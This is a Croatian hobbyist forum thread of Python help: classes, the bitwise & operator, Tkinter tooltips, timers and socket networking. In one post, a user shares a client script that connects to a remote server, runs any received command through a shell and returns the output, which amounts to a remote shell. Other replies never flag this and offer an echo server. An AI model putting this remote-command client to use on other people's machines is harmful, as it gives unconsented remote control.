Python programiranje kao hobi

poruka: 170
|
čitano: 57.627
|
moderatori: Lazarus Long, XXX-Man, vincimus
+/- sve poruke
ravni prikaz
starije poruke gore
8 godina
neaktivan
offline
Re: Python programiranje kao hobi
Bobobo-bo Bo-bobo kaže...

Rangoju je očito imalo smisla kad je to naveo u svom postu. Želio sam ilustrirati kako nije uvijek lako definirati hijerarhiju klasa, kao npr. u circle-ellipse problemu. Čini se logično klasu Krug izvesti iz klase Elipsa (ili npr. Kvadrat iz Pravokutnika), ali u nekim slučajevima to nije dobro rješenje.

 Rangoj je naveo primjer iz glave, cisto dva povezana pojma, rangoj nije naveo primjer stvarnih klasa :) -> isto naravno vazi i za keramicke posude - podrazumjeva se :)

 

 

Cale: zasto mi se cini da si poceo sa nekom knjigom koja klase obradjuje na neobican nacin?! :)

 

 

Video primjeri koji na jednostavan nacin obradjuju klase: (vjerujem da postoje i bolji primjeri, ja sam pronasao ove).

 



 


 

 

 

Meni se klase cine nepotrebne u 99% malih skripti i mislim da je tesko traziti razlog za njihovo postojanje u skripti koja cita npr. cita xml neke banke i nudi opecije konverzije valuta i ima 40 linija koda ili slicno.

Negdje na netu sam procitao da ti upotreba klasa postane prirodna kada ti zatreba organizacija koda jer si presao nekoliko stotina linija i sve izgleda u haosu, pa klase dodju odlicne kao sredstvo za organizaciju...



P.S. Cak i google definija rijeci class mnogo govori:

"a set or category of things having some property or attribute in common and differentiated from others by kind, type, or quality"

 

 

 

12 godina
offline
Re: Python programiranje kao hobi

Pozdrav ekipo, da li bi mi netko mogao pomoci? Imam zadatak izmjeniti kod i dodati sljedece :

Max vrijeme 5min i

gumb za reset.

 

Ovo je link za .py file.

https://www.dropbox.com/s/2v7szcybe9b47j7/Slagalica2.py?dl=0

 

Unaprijed hvala ako netko zna!

Werdum Combat Team
10 godina
neaktivan
offline
Re: Python programiranje kao hobi
KrpaZG kaže...

Pozdrav ekipo, da li bi mi netko mogao pomoci? Imam zadatak izmjeniti kod i dodati sljedece :

Max vrijeme 5min i

gumb za reset.

 

Ovo je link za .py file.

https://www.dropbox.com/s/2v7szcybe9b47j7/Slagalica2.py?dl=0

 

Unaprijed hvala ako netko zna!

 

Timer mozes ovako napraviti

from time import sleep
def Timer(s):
     while s:
        m,s_p = s//60, s%60
        print('{:02d}:{:02d}'.format(m,s_p))
        s-=1
        sleep(1)

 

Sam reset programa mozes ovako napraviti

import os

import sys

os.execl(sys.executable, sys.executable,*sys.argv)

Poruka je uređivana zadnji put pet 29.4.2016 21:46 (tLeon).
11 godina
neaktivan
offline
Re: Python programiranje kao hobi

Modul turtle ima funkciju ontimer kojom možeš instalirati funkciju koja okida nakon isteka zadanog vremena. Najjednostavnije rješenje za tvoj prvi zahtjev je isključiti očitavanje click eventa u timeru koji istekne nakon 5 minuta:

 

def vrijeme_isteklo():
  onscreenclick(None)  # isključi klikanje
  goto(-100, 100)
  write('Vrijeme je isteklo', False, "left", ("Consolas", 30, "normal"))

def main():
  onscreenclick(getPos)
  ontimer(vrijeme_isteklo, t=5 * 60 * 1000)
  mainloop()

 

Za reset je treba ponoviti inicijalizaciju liste S. U donjem rješenju slagalica se resetira kad se klikne izvan nekog od 9 polja:

 

def getPos(x, y):
...
  if b != ' ' and i in Q[q] : S[q] = b;  S[i] = ' '; q = i; Slagalica()
  if b == ' ':
    S  = sample(C, 8) +[' ']
    q  = S.index(' ')
    Slagalica()

15 godina
neaktivan
offline
Python programiranje kao hobi

imam problem s shvacanjem operatora &. Gledao sam po netu,nailazio sam na svakave odgovore i primjere.Primjer di se operator & koristio sa set(). Uglavnom ne razumijem zasto

a=60&13

ispada a=12

 
0 0 hvala 0
10 godina
neaktivan
offline
Re: Python programiranje kao hobi
cale kaže...

imam problem s shvacanjem operatora &. Gledao sam po netu,nailazio sam na svakave odgovore i primjere.Primjer di se operator & koristio sa set(). Uglavnom ne razumijem zasto

a=60&13

ispada a=12

 60 i 13 nisu set() tipovi podataka. Operator & vraca novi set sa zajednickim elementima od 2 seta, npr.


>>> a = {1, 3, 5, 9, 4}
>>> b = {5, 8, 7, 4}
>>> a&b
{4, 5}

Poruka je uređivana zadnji put pon 2.5.2016 18:28 (tLeon).
14 godina
neaktivan
offline
Re: Python programiranje kao hobi
cale kaže...

imam problem s shvacanjem operatora &. Gledao sam po netu,nailazio sam na svakave odgovore i primjere.Primjer di se operator & koristio sa set(). Uglavnom ne razumijem zasto

a=60&13

ispada a=12

 

& je bitwise operator AND. To znaci da on radi s bitovima:

 

60: 0011 1100

13: 0000 1101

12: 0000 1100

 

Na svaki bit se primjeni operacija logicki AND, kao sto vidis oni samo na 2 i 3 bitu imaju oboje 1

 

EDIT: NVM ocito sam skroz falia pitanje xD

Poruka je uređivana zadnji put pon 2.5.2016 18:31 (Neutral).
15 godina
neaktivan
offline
Re: Python programiranje kao hobi

ovo sa set sam naletio na stackoverflow ali zadatak koji radim se odnosi na a=60&13 i onda dobijem rezultat 12.

Ako sam dobro razumio npr ovako bi islo

neki broj koji ima kombinaciju: 0101 1100

drugi neki broj koji ima komb:  0001 0100

ono sto bih kao rezultat dobio:00010100

 

15 godina
neaktivan
offline
Python programiranje kao hobi

Problem: Napravio sam klasu i u nju sam stavio __add__ i __sub__.

class test(object):
   def __sub__(self,other):
      return self.x-other.x
   def __add__(self,other):
      return self.x+other.x

   

Stavio sam:

a=test

b=test

a.x,b.x=2,3

c=a+b---poslje ovoga mi se javi error: TypeError: unsupported operand type(s) for +: 'type' and 'type'

 

 

 
0 0 hvala 0
16 godina
neaktivan
offline
Re: Python programiranje kao hobi
cale kaže...

Problem: Napravio sam klasu i u nju sam stavio __add__ i __sub__.

class test(object):
   def __sub__(self,other):
      return self.x-other.x
   def __add__(self,other):
      return self.x+other.x

   

Stavio sam:

a=test

b=test

a.x,b.x=2,3

c=a+b---poslje ovoga mi se javi error: TypeError: unsupported operand type(s) for +: 'type' and 'type'

Prvo, klase se pisu velikim pocetnim slovom (takva je konvencija), dakle class Test(object).

Drugo, kad stvaras objekte, stvaras ih ovako:

a = Test() # primjeti zagrade
b = Test()

a ne:

a = Test
b = Test

Perhaps today IS a good day to die. PREPARE FOR RAMMING SPEED!
Poruka je uređivana zadnji put uto 17.5.2016 18:10 (1domagoj1).
15 godina
neaktivan
offline
Re: Python programiranje kao hobi

aa,sorry,mislio sam da radim neku katastrofalnu gresku i na to sam se fokusirao da nisam vidio "glupost".

15 godina
neaktivan
offline
Python programiranje kao hobi

EDIT:Uspio sam srediti.

Vjezbam malo s GUI i naisao sam na problem. Ukratko pokusavam na main window u pozadini ubaciti neki sliku.Funkcija setting_background mi jednostavno ne radi,kad je pozivam ovako iz klase.No dok recimo isti kod,al se ne nalazi u klasi potpuno radi.

class Gui(Wow_Program):

def __init__(self):
self.master=Tk()
self.setting_background()
self.drop_down_menus()
self.Turn_on=Wow_Program()


def setting_background(self):-ZA OVU FUNKCIJU TREBAM POMOC-------Sredio sam tako sto sam dodao self.label=Label(self.master,image=image2)
current_os_path=os.getcwd()
current_os_path+="\\\dark_portal.gif"
print(current_os_path)
image1=Image.open(current_os_path)
image1_width=image1.width
image1_height=image1.height
self.master.geometry("%dx%d+0+0"%(image1_width,image1_height))
image2=ImageTk.PhotoImage(image1)
label=Label(self.master,image=image2)
label.pack()


def searching_function_realmlist(self):
self.master_searching_realmlist=Tk()
self.master_searching_realmlist.configure(background="dark gray")
self.master_searching_realmlist.geometry("400x300")
self.photo_google=PhotoImage(file="google.gif")

self.label_google_search=Label(self.master_searching_realmlist,image=self.photo_google)
self.label_google_search.grid(row=0,column=0,)
self.entry=Entry(self.master_searching_realmlist)
self.entry.grid(row=0,column=1)




def drop_down_menus(self):
self.menu=Menu(self.master)
self.master.config(menu=self.menu)



self.submenu=Menu(self.menu)
self.menu.add_cascade(label="Functions",menu=self.submenu)
self.submenu.add_command(label="Searching realmlist",command=self.searching_function_realmlist)

 Na ovakav nacin kod radi,odnosno slika se pokazuje na pozadini


root=Tk()
image=Image.open("C:\Programi\Python 3.4.1\Test\\dark_portal.gif")
image_w=image.width
image_h=image.height
root.geometry("%dx%d+0+0"%(image_w,image_h))
image2=ImageTk.PhotoImage(image)
l=Label(root,image=image2)
l.grid()
root.mainloop()

 

 

Poruka je uređivana zadnji put ned 19.6.2016 11:36 (cale).
 
0 0 hvala 0
11 godina
neaktivan
offline
Re: Python programiranje kao hobi

Manja primjedba: putanja slike ti ima backslash viška. Na trenutni direktorij ne dodaješ string \dark_portal.gif nego \\dark_portal.gif . Niz '\d' nije postojeća escape sekvenca pa backslash ostaje u rezultatu. Ovo nema utjecaja na rad programa jer Windowsi ignoriraju uzastopne backslasheve, ali je za izgradnju putanje od komponenti dobro koristiti funkciju os.path.join:

 

import os

image_path = os.path.join(os.getcwd(), 'dark_portal.gif')

 

Samm problem sa slikom je možda do garbage collectora, ovo je moguće rješenje:

 

image1 = Image.open(image_path)
image2 = ImageTk.PhotoImage(image1)
label = Label(root, image=image2)
label.image = image2 # keep a reference!
label.pack()

Poruka je uređivana zadnji put uto 21.6.2016 0:11 (Bobobo-bo Bo-bobo).
15 godina
neaktivan
offline
Python programiranje kao hobi

Pitanje u vezi Tkintera.

Zanima me da li je moguce napraviti da kada mišem dodem do nekog Buttona da se iznad njega pojavi kao neki oblacic,note u koji onda nesto upisem.Trenutak kada pomaknem mis izvan okvira Buttona,da se taj note/oblacic makne. Nesto tipa u pythonu kada upisemo odredenu funkciju i otvorimo zagrade,pojavi se onaj note koji objasnjava funkciju.

 

 

EDIT:Posluzio sam se preko image-a,da li se moze kako jednostavnije.

class Test(object):
    def __init__(self):
        self.master=Tk()
        self.Button=Button(self.master,text="aaaa")
        self.Button.place(x=40,y=40)
        self.Button.bind("<Enter>",self.label)
        self.Button.bind("<Leave>",self.destroy)
        self.image=Image.open("C:\Programi\Python 3.4.1\Test\Testpic.png")
        self.image1=ImageTk.PhotoImage(image=self.image)

    def label(self,event):
        self.label=Label(self.master,text="king",image=self.image1)
        self.label.place(x=60,y=41)


    def destroy(self,event):
        self.label.destroy()


d=Test()
d.master.mainloop()
           

Poruka je uređivana zadnji put sub 16.7.2016 14:17 (cale).
 
0 0 hvala 0
14 godina
neaktivan
offline
Re: Python programiranje kao hobi

Koristi bind eventove i lambde. Jako mocne stvari, ovo ti je samo proof of concept, nisam ti bas htio sve napravit

 

from tkinter import *

class MyApp(Frame):

   def __init__(self, root=Tk()):
    Frame.__init__(self)
    self.root=root

    self.make_gui()

 

  def make_gui(self):
    self.grid()

 

    #dio koji treba kolegi
    self.button = Button(self, text="hower over")
    self.button.grid(row=1, column=1)

 

    action_in = lambda x: self.over()
    action_out = lambda x: self.out()

    self.button.bind("<Enter>", action_in)
    self.button.bind("<Leave>", action_out)

 

   def over(self):

     self.button["text"] = "now u see me"

 

   def out(self):
     self.button["text"] = "..now u don't"

 

app = MyApp()
app.mainloop()

mojpismonosa
Poruka je uređivana zadnji put sub 16.7.2016 18:13 (Mojpismonosa).
15 godina
neaktivan
offline
Python programiranje kao hobi

Ovako prosao sam sada dosta,mogu reci da sam savladao python.Napravio sam program,u kojem sam pokusavao obuhvatiti dosta modula(BeautifulSoup,tkinter,itd) ,cisto da se s praksam.I jednu manju igricu pomocu Pygame modula.Tako da u principu sada samo proucavam druge module.Pa me zanima da li da nastavim s vjezbanjem u pythonu ili da rade pocnem s C++,uzeo bih si knjigu demistificirani C++.

Poruka je uređivana zadnji put ned 24.7.2016 13:26 (cale).
 
1 0 hvala 0
11 godina
neaktivan
offline
Re: Python programiranje kao hobi

Jedna od tipičnih primjena Pythona je izrada Web aplikacija pa ti preporučam da uzmeš Django i napraviš par programa tog tipa.

 

Ako te Web ne zanima onda C++ nije loš izbor - izrada desktop aplikacija nije Pythonova jača strana.

8 godina
neaktivan
offline
Re: Python programiranje kao hobi
Kupio sam Nodemcu Esp8266 i na njega instalirao najnoviji micropython i oduševio se! :)
Za 5$ sam dobio mrvicu koja u par linija koda čita senzore i dalje podatke, pokreće neopixel led i sl., plus - ne moram se zajebavati sa učenjem C. :)

Nevjerovatno je koliko su komponente postale jeftine i dostupne. Na esp8266 nedostaje dokumentacija, ali se može po forumima izvući po nesto.

Naručio sam i WiPy.
 
0 0 hvala 0
15 godina
neaktivan
offline
Python programiranje kao hobi

Malo sam htio ojacati svoje znanje u pythonu pa sam krenuo proucavati modul socket.Uglavnom zapeo sam.Prvo jos uvijek mi neki pojmovi nisu jasni,kao tipa port( koliko sam skuzio on odreduje kakve ce se vrsta podataka razmjenjivati),no ono sto me najvise zanima kako da povezem dva racunala koja se nalaze na razlicitim mrezama?

 
0 0 hvala 0
11 godina
neaktivan
offline
Re: Python programiranje kao hobi

Ako uzmemo analogiju s telefonom: IP adresa računala je "glavni broj", a broj porta je "lokal". Mrežni servisi (HTTP, FTP, DNS itd.) koji se vrte na istom računalu imaju različite portove (lokale) pa klijenti preko broja porta biraju na koji se servis žele spojiti. Isti servisi se vrte na istim portovima (npr. HTTP server je na portu 80) pa stoji da port određuje kakva se vrsta podataka razmjenjuje.

 

Za povezivanje dva računala (1 servera i 1 klijenta) preko Interneta postoje dva osnovna načina:
1. Router preko kojeg je server spojen na Internet forwarda dolazni promet na server.
2. Oba računala su povezana nekog preko VPN-a i vide jedno drugog kao da su na lokalnoj mreži.

15 godina
neaktivan
offline
Python programiranje kao hobi

Kako bi trebala izgledati skripta,ovo je nesto sto sam ja napravio.

Server skripta

import socket
import sys


def create_socket():
    try:
        global host
        global port
        global s
        host=OVDJE SAM STAVIO IPv4 adresu od racunala koje bi se trebalo ponasat kao server
        port=1117
        s=socket.socket()
    except socket.error as msg:
        print(str(msg))



def bind_socket():
    try:
        global host
        global port
        global s
        print("Binding socket to port: ",str(port))
        s.bind((host,port))
        s.listen(5)
    except socket.error as msg:
        print("socket binding error",msg)
        bind_socket()



def socket_accept():
    conn,address=s.accept()
    print("conn  ",conn)
    print("Connection has been established  ",address)
    send_commands(conn)
    conn.close()

Client skripta

import os
import socket
import subprocess

s=socket.socket()
host=OVDJE SAM STAVIO EXTERNAL ADRESU,koju sam dobio kad sam upisao na internetu Ports check
port=1117
s.connect((host,port))


while True:
    data=s.recv(1024)

    if data[:2].decode("utf-8")=="cd":
        os.chdir(data[3:].decode())

    if len(data.decode())>0:
        cmd=subprocess.Popen(data.decode(),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
        byt=cmd.stdout.read()+cmd.stderr.read()
        string=str(byt)
        s.send(str.encode(string+str(os.getcwd)))
        print(string)
       
s.close()       

Ovo sam prvo pisao za povezivanje racunala na istoj mrezi, da li je ovako dobro napisan kod za povezivanje dva racunala na razlicitim mrezama?       

 
0 0 hvala 0
15 godina
offline
Re: Python programiranje kao hobi

Hah, pa je, ali ti tu IP adresu trebas pokupit, ne rucno upisat.

socket.gethostbyname(socket.gethostname())

To ti treba ili googleaj druge metode, ali na Linuxima moras obrisat 127.0.0.1 iz etc hosts filea....nece se nista strasno desit.

 

 

Krivo sam procitao. Uglavnom da, dobro je. Ja obicno socket radim kao OOP (klasa Server i klasa Klijent) jer mi trebaju dretve (tipa oces chat - moras stalno listenat), pa razmisli o tome.

Sto se tice formatiranja, mislim da si mogao skratit server kod malo (create i bind obicno radim skupa)

 

R.I.P. EnlightenedPhoenix 24.6.2011. R.I.P. Steve Jobs 6.10.2011. 1955. - 2011.
Poruka je uređivana zadnji put čet 29.9.2016 11:35 (Mitch).
15 godina
neaktivan
offline
Re: Python programiranje kao hobi

Aha,izvukao sam je iz cmd-a. No uglavnom meni ta skripta nije radila.Prvo sam mislio da je do portova,da nisu otvoreni,pa sam zvao Amis,tamo kazu da je sve u redu,Firewall sam bio takoder iskljucio kad sam testirao,ali nista.

15 godina
offline
Re: Python programiranje kao hobi
cale kaže...

Aha,izvukao sam je iz cmd-a. No uglavnom meni ta skripta nije radila.Prvo sam mislio da je do portova,da nisu otvoreni,pa sam zvao Amis,tamo kazu da je sve u redu,Firewall sam bio takoder iskljucio kad sam testirao,ali nista.

 Ma dobro je, imat ces static ip tako i tako kad ces imat server. procitaj edit samo

R.I.P. EnlightenedPhoenix 24.6.2011. R.I.P. Steve Jobs 6.10.2011. 1955. - 2011.
11 godina
neaktivan
offline
Re: Python programiranje kao hobi

probaj s pojednostavljenim primjerom kojeg sam ukrao s Neta:

 

server.py

import socket

def run_server(host='', port=1117):
    mySocket = socket.socket()
    mySocket.bind((host, port))
    mySocket.listen(5)

    conn, addr = mySocket.accept()
    print('Connection from: ' + str(addr))

    while True:
        data = conn.recv(1024).decode()
        if not data:
            break
        print('From connected user: ' + data)
        
        new_data = data.upper()
        print ('Sending: ' + new_data)
        conn.send(new_data.encode())
            
    conn.close()
    
if __name__ == '__main__':
    run_server()

 

client.py

import socket

def run_client(host, port):
    mySocket = socket.socket()
    mySocket.connect((host, port))

    message = input(' -> ')
    while message != 'q':
        mySocket.send(message.encode())
        data = mySocket.recv(1024).decode()

        print ('Received from server: ' + data)

        message = input(' -> ')

    mySocket.close()

if __name__ == '__main__':
    run_client('127.0.0.1', 1117)

 

Server je bind-an je na prazno ime hosta pa će se javljati na zadani port (1117) bez obzira otkud mu klijent pristupa. Prvo isprobaj da li ti radi na istom računalu - iz jednog terminala pokreni server.py, a nakon toga iz drugog terminala pokreni client.py.

 

Ako radi, probaj da li radi s različitih računala unutar iste mreže - server.py je isti, ali u client.py stavi IP adresu računala na kojem se vrti server.

 

Ako i ovo radi, probaj da li radi preko Interneta.

1) Pokreni server, zakači se na router i forwardaj dolazni promet porta 1117 na taj server. Ovdje možeš provjeriti da li si dobro forwardao port, ali ćeš nakon provjere morati ponovo pokrenuti server jer se server zaustavlja nakon što se klijent disconnecta.

2) Pokreni klijent na drugoj mreži (prvo u client.py upiši IP adresu serverovog routera) i provjeri da li radi.

15 godina
offline
Re: Python programiranje kao hobi
Da, if __name__ == '__main__' je jako bitan dio koda kod dretvi (while True) tako da se prvo on izvede prije definiranja funkcije, odnosno popune parametri.

Ovo bi trebalo bez problema radit na wanu
R.I.P. EnlightenedPhoenix 24.6.2011. R.I.P. Steve Jobs 6.10.2011. 1955. - 2011.
15 godina
neaktivan
offline
Python programiranje kao hobi

Sada mi je uspjelo,spojio sam laptop na mobitel a racunalo na ruter i radilo je.Samo me zanima da li to znaci da ce svi koji se zele spojit na moj server morati osloboditi taj port kod sebe na ruteru?

 
0 0 hvala 0
11 godina
neaktivan
offline
Re: Python programiranje kao hobi

Ne - port forwarding treba postaviti samo na serverovom routeru.

15 godina
neaktivan
offline
Python programiranje kao hobi

zao mi je kaj moram ovako tlaciti,al ove opet je port iz nekog razloga zatvoren.Znaci prije 5 min je bio otvoren i sad je zatvoren.Ono sto sam napravio je:

1.Poevezao sam laptop s racunalom,a a da su oboje bili na razlicitim mrezama

2.Poslao sam client.exe file prijatelju da testiramo i nije uspjelo

3.Htio sam ponovo povezat laptop i sada nije uspjelo

4.Testirao sam port i sada  pise da je zatvoren a nisam nista prckao

 

EDIT:Sve opet radi normalno.

Poruka je uređivana zadnji put pet 30.9.2016 12:23 (cale).
 
0 0 hvala 0
15 godina
neaktivan
offline
Python programiranje kao hobi

Imam jedan problem s dbm bazom.

Ovo je dio koda kod kojeg nastaje problem:

 

self.Entry_account_name_to_play.bind("<Return>",lambda event:self.Account_name_to_play(event))

 

 

def Account_name_to_play(self,event):
 names=self.Entry_account_name_to_play.get()
 os.chdir(self.realmlist_path+"\WTF")
 config_file = open("Config.wtf", "r+")
 lines=config_file.readlines()
 string=self.Account_name_to_play_changing_config(lines,names)
 newfile=open("Config.wtf","w")
 newfile.write(string)
 newfile.close()
 os.chdir(self.wowchanger_path)
 self.Turn_on.base["TBC-Account"]=names------Objekt names je u ovom dijelu koda potpun,npr.ako uzmem ime "test",names je "test",ne fali ni jedan dio stringa.No onda kada naknadno zelim izvaditi iz base onda mi zna faliti dio stringa.Kao da je ogranicen na odreden broj znakova,jer ovo je moj konkretan primjer bio. Uzeo sam prvo "cale456" i onda je vratio sve,ali kad sam stavio "cale4567",zadnji char se ne spremi,vrati mi "cale456".

 
0 0 hvala 0
Nova poruka
E-mail:
Lozinka:
 
vrh stranice